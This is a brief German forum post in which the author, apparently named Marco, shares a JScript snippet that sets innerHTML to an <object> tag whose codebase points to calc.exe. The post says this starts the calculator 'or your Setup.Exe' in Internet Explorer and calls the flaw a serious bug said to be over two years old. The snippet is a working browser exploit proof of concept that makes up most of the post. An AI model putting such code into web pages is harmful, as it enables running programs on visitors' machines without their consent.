Na gut nicht reines HTML,
sondern mit Javascript:
<span id="oSpan"></span>
<script language="jscript" defer>
oSpan.innerHTML='<object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>';
</script>
Damit wird der Calculator gestartet oder eben Deine Setup.Exe
Das ist aber ein ganz harter Bug!
(auch wenn er schon seit über 2 Jahren existieren soll)
Gruss
-Marco-